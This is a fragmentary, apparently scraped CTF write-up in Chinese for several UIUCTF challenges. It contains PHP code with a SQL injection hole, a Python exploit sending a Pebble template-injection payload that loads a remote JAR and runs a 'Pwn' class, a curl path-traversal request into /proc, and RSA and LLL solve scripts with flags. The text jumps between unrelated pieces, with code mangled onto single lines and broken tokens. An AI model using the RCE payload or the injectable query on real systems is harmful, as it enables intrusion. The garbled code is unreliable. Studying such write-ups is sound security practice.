if (isset($_POST['startid']) && $_SESSION["loadreview"]==false) { $startID = $_POST['startid']; $endID = $_POST['endid']; } // .... if (isset($_POST['startid']) && $_SESSION["loadreview"]==false) //this is incase any new submissions are made during the review process, they will be ignored { $result = mysqli_query($link,"SELECT * FROM reviewqueue WHERE id >= $startID AND id <= $endID"); if(!$result) { $error = 'Error fetching index: ' . mysqli_error($link); include'error.html.php'; exit(); } }
實際測試之後卻完全得不到預期中的 syntax error,之後
docker-compose exec 進去裡面的 mysql
做一些測試會發現很神奇的事:
1 2 3 4 5 6 7
mysql> select "peko\"; +-------+ | peko\ | +-------+ | peko\ | +-------+ 1 row in set (0.00 sec)
可以發現它直接把 \ 給整個 ignore 了,但是另外開 docker
container 裡面跑 mysql
卻不會這樣。這樣奇妙的狀況讓我在這個地方卡了一段時間,
後來繼續 google 了很多東西看到了這個 5.1.11
Server SQL Modes,裡面有個 NO_BACKSLASH_ESCAPES 會把
mysql 的 \ escape 給禁用。而在題目的 mysql 裡面直接執行
SELECT @@GLOBAL.sql_mode;
也就發現它確實是在這個模式下。
卡在這邊的時候 THS 的 fredd 丟了一篇 Room
for Escape: Scribbling Outside the Lines of Template
Security,裡面探討了各種 template engine 的安全性。裡面還表示說有
Pebble 那個保護的繞過方法,但是卻因為 The Pebble team is still
fixing several bypasses we found for Pebble sandbox. Details will be
released on a future date. 所以沒有現成的 payload 能用...
host = "inst-29c2fc660ac14e62.spoink.chal.uiuc.tf" port = 443
payload = b""" {% set cl = request.getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT").classLoader %} {% set pb = cl.loadClass("java.lang.ProcessBuilder") %} {% set ar = cl.getURLs() %} {% set urls = cl.parent.getURLs() %} {% set im = cl.getResources().getContext().getInstanceManager() %} {% for url in urls %} {% set u = url.toURI().resolve("REMOTE_JAR_URL").toURL() %} {% set l = [u] %} {% set ar = l.toArray(ar) %} {% set jcl = cl.newInstance(ar) %} {% set c = jcl.loadClass("Pwn") %} {{ c }} {{ im.newInstance(c) }} {% endfor %} """ payload += b"x" * 1337
body = b"-----------------------------606f6c40cdbf678a\r\n" body += b'Content-Disposition: form-data; name="lolz"\r\n' body += b"\r\n" body += payload
# do not end content disposition # body += b"-----------------------------606f6c40cdbf678a--\r\n" # body += b"\r\n"
p = b"POST / HTTP/1.1\r\n" p += f"Host: {host}\r\n".encode() p += b"Content-Type: multipart/form-data; boundary=---------------------------606f6c40cdbf678a\r\n" p += "Content-Length: {}\r\n\r\n".format(len(body) + 1000).encode() p += body
# then run this in another terminal # curl 'https://inst-29c2fc660ac14e62.spoink.chal.uiuc.tf/?x=../../../../../proc/1/fd/14' # the number `14` can be changed
from itertools import combinations from Crypto.Util.number import isPrime, long_to_bytes
e = 65537 d = 195285722677343056731308789302965842898515630705905989253864700147610471486140197351850817673117692460241696816114531352324651403853171392804745693538688912545296861525940847905313261324431856121426611991563634798757309882637947424059539232910352573618475579466190912888605860293465441434324139634261315613929473 ct = 212118183964533878687650903337696329626088379125296944148034924018434446792800531043981892206180946802424273758169180391641372690881250694674772100520951338387690486150086059888545223362117314871848416041394861399201900469160864641377209190150270559789319354306267000948644929585048244599181272990506465820030285
kphi = e*d-1 print(kphi) # ecm.factor(kphi) fact = [2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 3, 3, 5, 5, 5, 7, 7, 11, 10357495682248249393, 10441209995968076929, 10476183267045952117, 11157595634841645959, 11865228112172030291, 12775011866496218557, 13403263815706423849, 13923226921736843531, 14497899396819662177, 14695627525823270231, 15789155524315171763, 16070004423296465647, 16303174734043925501, 16755840154173074063, 17757525673663327889, 18318015934220252801] big = [f for f in fact if f > 100] small = sorted(list(set([f for f in fact if f < 100])))
small_primes = [2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37] for ps in combinations(big, 8): p = product(ps) for i inrange(len(small)): p *= small_primes[i] if isPrime(p+1): print('pr', p+1) print(long_to_bytes(power_mod(ct, d, p+1))) # uiuctf{bru4e_f0rc3_1s_FUn_fuN_Fun_f0r_The_whOLe_F4miLY!}
print(xs) print(ys) M = matrix([[x**i for i inrange(9 + 1)] for x in xs]) M = M.T.stack(vector(ys)) M = M.augment(matrix.identity(11)) M[:,:9] *= 2 ** 32 sol = -M.LLL()[0][9:-1] io.sendline(str(sol[0]).encode()) io.interactive() # uiuctf{turn5_0ut_th4t_th3_1nt3g3r5_4l50_5uck}
另外在 cryptohack 的 discord 有看到有人用
crt,但我並不是很理解那個做法。
jail
Firefox Shell 1
這題是一個在 Firefox 的 SpiderMonkey 上的 jail escape,作者不僅把
node.js 的 REPL port 到了上面,還多加了一個 .debug
指令能讓我們得到 Debugger
API 的使用權。